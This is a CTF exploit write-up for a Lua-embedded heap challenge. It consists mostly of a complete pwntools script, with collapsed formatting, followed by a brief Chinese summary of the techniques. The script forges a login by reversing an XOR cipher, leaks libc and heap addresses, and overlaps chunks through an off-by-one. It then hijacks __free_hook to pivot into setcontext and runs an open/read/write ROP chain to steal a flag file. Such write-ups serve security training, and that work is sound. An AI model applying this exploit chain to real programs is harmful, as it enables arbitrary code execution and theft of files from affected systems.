from pwn import *from gmssl import funccontext.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"] #io = remote('127.0.0.1', 6010)# libc = ELF('./libc-2.31.so')# io = process(['./test', 'real'])io = process('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, b'\x00'))uu64 = lambda data : u64(data.ljust(8, b'\x00'))ur64 = lambda data : u64(data.rjust(8, b'\x00'))initkey = p64(0x6b8b4567327b23c6) table = [ 0xBE, 0xD1, 0x90, 0x88, 0x57, 0x00, 0xE9, 0x53, 0x10, 0xBD, 0x2A, 0x34, 0x51, 0x84, 0x07, 0xC4, 0x33, 0xC5, 0x3B, 0x53, 0x5F, 0xA8, 0x5D, 0x4B, 0x6D, 0x22, 0x63, 0x5D, 0x3C, 0xBD, 0x47, 0x6D, 0x22, 0x3F, 0x38, 0x4B, 0x7A, 0x4C, 0xB8, 0xCC, 0xB8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 0xB1, 0xC7, 0xA6, 0xD1, 0xA0, 0x48, 0x21, 0xC4, 0x1B, 0x0A, 0xAD, 0xC9, 0xA5, 0xE6, 0x14, 0x18, 0xFC, 0x7B, 0x53, 0x59, 0x8B, 0x0D, 0x07, 0xCD, 0x07, 0xCC, 0xBC, 0xA5, 0xE0, 0x28, 0x0E, 0xF9, 0x31, 0xC8, 0xED, 0x78, 0xF4, 0x75, 0x60, 0x65, 0x52, 0xB4, 0xFB, 0xBF, 0xAC, 0x6E, 0xEA, 0x5D, 0xCA, 0x0D, 0xB5, 0x66, 0xAC, 0xBA, 0x06, 0x30, 0x95, 0xF4, 0x96, 0x42, 0x7A, 0x7F, 0x58, 0x6D, 0x83, 0x8E, 0xF6, 0x61, 0x7C, 0x0E, 0xFD, 0x09, 0x6E, 0x42, 0x6B, 0x1E, 0xB9, 0x14, 0x22, 0xF6, 0x16, 0xD2, 0xD2, 0x60, 0x29, 0x23, 0x32, 0x9E, 0xB4, 0x82, 0xEE, 0x58, 0x3A, 0x7D, 0x1F, 0x74, 0x98, 0x5D, 0x17, 0x64, 0xE4, 0x6F, 0xF5, 0xAD, 0x94, 0xAA, 0x89, 0xE3, 0xBE, 0x98, 0x91, 0x38, 0x70, 0xEC, 0x2F, 0x5E, 0x9F, 0xC9, 0xB1, 0x26, 0x3A, 0x64, 0x48, 0x13, 0xF1, 0x1A, 0xC5, 0xD5, 0xE5, 0x66, 0x11, 0x11, 0x3A, 0xAA, 0x79, 0x45, 0x42, 0xB4, 0x57, 0x9D, 0x3F, 0xBC, 0xA3, 0xAA, 0x98, 0x4E, 0x6B, 0x7A, 0x4A, 0x2F, 0x3E, 0x10, 0x7A, 0xC5, 0x33, 0x8D, 0xAC, 0x0B, 0x79, 0x33, 0x5D, 0x09, 0xFC, 0x9D, 0x9B, 0xE5, 0x18, 0xCD, 0x1C, 0x7C, 0x8B, 0x0A, 0xA8, 0x95, 0x56, 0xCC, 0x4E, 0x34, 0x31, 0x33, 0xF5, 0xC1, 0xF5, 0x03, 0x0A, 0x4A, 0xB4, 0xD1, 0x90, 0xF1, 0x8F, 0x57, 0x20, 0x05, 0x0D, 0xA0, 0xCD, 0x82, 0xB3, 0x25, 0xD8, 0xD2, 0x20, 0xF3, 0xC5, 0x96, 0x35, 0x35] def encode(key,passwd): key = func.bytes_to_list(key) passwd = func.bytes_to_list(passwd) key_arr = [] raw_key = [] data_arr = [] for c in key: key_arr.append(c) raw_key.append(c) for c in passwd: data_arr.append(c) key = key_arr passwd = data_arr for i in range(len(passwd)): v5 = (key[(i + 2) & 7] * (key[(i & 7)] + key[(i + 1) & 7]) + key[(i + 3) & 7])&0xff passwd[i] ^= v5 ^ table[v5] key[(i & 7)] = (2 * v5 + 3)&0xff if (i & 0xf) == 0: key = sub_143A(raw_key,table[i&0xff]) out = b'' for i in passwd: out += i.to_bytes(1, byteorder='little') return out def sub_143A(key,seed): tmpkey = [0]*8 for i in range(8): tmpkey[i] = (key[i] ^ table[key[i]])&0xff tmpkey[i] ^= (seed + i)&0xff return tmpkey passwdd = p32(0x00000000)password = encode(initkey,passwdd)print(hex(int.from_bytes(password,byteorder='little',signed=False))) #0x18f7d121 418894113 def login(): print(111) sla('$','login') sla('account:','1000') sla('password:','418894113')def add(size,content): sla('$','add') sla('?',str(size)) sn(content)def delete(idx): sla('$','del') sla('?',str(idx))def get(idx): sla('$','get') sla('?',str(idx)) login()# leak libc larginbin attackadd(0x500,'') #0add(0x500,'') #1 delete(0) add(0x500,'') #0get(0)ru('')libc_base = uu64(rn(6)) - 0x1c6b0a - 0x25000lg('libc_base') free_hook = libc_base + libc.sym['__free_hook'] lg('free_hook')setcontext = libc_base + libc.sym['setcontext'] + 61 lg('setcontext') ret = libc_base + 0x25679 libc_open = libc_base + libc.sym['open'] libc_read = libc_base + libc.sym['read'] libc_write = libc_base + libc.sym['write'] pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret gadget = libc_base + 0x154930 # local getkeyserv_handle set rdx && call context'''.text:0000000000154930 mov rdx, [rdi+8].text:0000000000154934 mov [rsp+0C8h+var_C8], rax.text:0000000000154938 call qword ptr [rdx+20h]''' # fill size=0x30 chunkadd(0x80, '') # 2 add(0x20, '') # 3 b = 3 j = 20 for i in range(b, j): add(0x20, 'AAA') for i in range(b + 10, j): delete(i) # make overlap chunkadd(0x98, encode(initkey, b'AAA') + b'') # 13 add(0x500, encode(initkey, b'AAA') + b'') # 14 dbg()add(0xa0, 'AAA') # 15 add(0xa0, 'AAA') # 16 add(0xa0, 'AAA') # 17 delete(13) delete(17) delete(16) delete(15) # leak heap addr add(0xa8, b'') # 13 get(13) io.recvuntil('')heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x50+0xb0*2 +0x10# local chunk17's heapaddr#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local lg('heap') delete(13)p = b'\x00' + b'\x11' * 0x97 #dbg()add(0x98, encode(initkey, p) + b'\xc1') # 13 # overlapdelete(14) # 5c0 p = b'A' * 0x500 p += p64(0) + p64(0xb1) p += p64(libc_base + libc.sym['__free_hook']) + p64(0) add(0x5b0, encode(initkey, p) + b'') # 14 # remalloc freehook add(0xa8, encode(initkey, b"/bin/sh\x00") + b'') # 13 add(0xa8, encode(initkey, p64(gadget)) + b'') # modify __free_hook as a gadget set rdi -> rdx p = p64(1) + p64(heap) # set to rdxp += p64(setcontext) *4 # call setcontextp = p.ljust(0xa0, b'\x11') p += p64(heap + 0xb0) # rsp p += p64(ret) # rcx rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18) rop += p64(pop_rsi) + p64(0) rop += p64(pop_rdx_r12) + p64(0) + p64(0) rop += p64(libc_open) rop += p64(pop_rdi) + p64(3) rop += p64(pop_rsi) + p64(heap) rop += p64(pop_rdx_r12) + p64(0x80) + p64(0) rop += p64(libc_read) rop += p64(pop_rdi) + p64(1) rop += p64(libc_write) rop += p64(pop_rdi) + p64(0) rop += p64(libc_read) p += rop p += b'./flag\x00' add(0x800, encode(initkey, p) + b'') # 17 print('get flag...') # triggger freedelete(17)#dbg()irt() 总结
这次比赛算这道题目是压轴题,做出来的人数个位数,题目参杂了很多知识,包括lua语言、c和lua互调规则、沙箱禁用59号中断、ORW、花指令、简单异或流加密、offbyone、lua程序在互调过程中申请chunk的处理,想要做出来不容易,之后复盘也是复盘了好久才看明白,之前不知道freehook修改成setcontext的利用方式,这次明白了,利用setcontext+61,刷新栈到指定堆上,然后构造orw。
进一步增加难度,修改lua虚拟机opcode,使得通用反编译失败,需要逆向opcode顺序,重新编译反编译工具,这就更变态了。
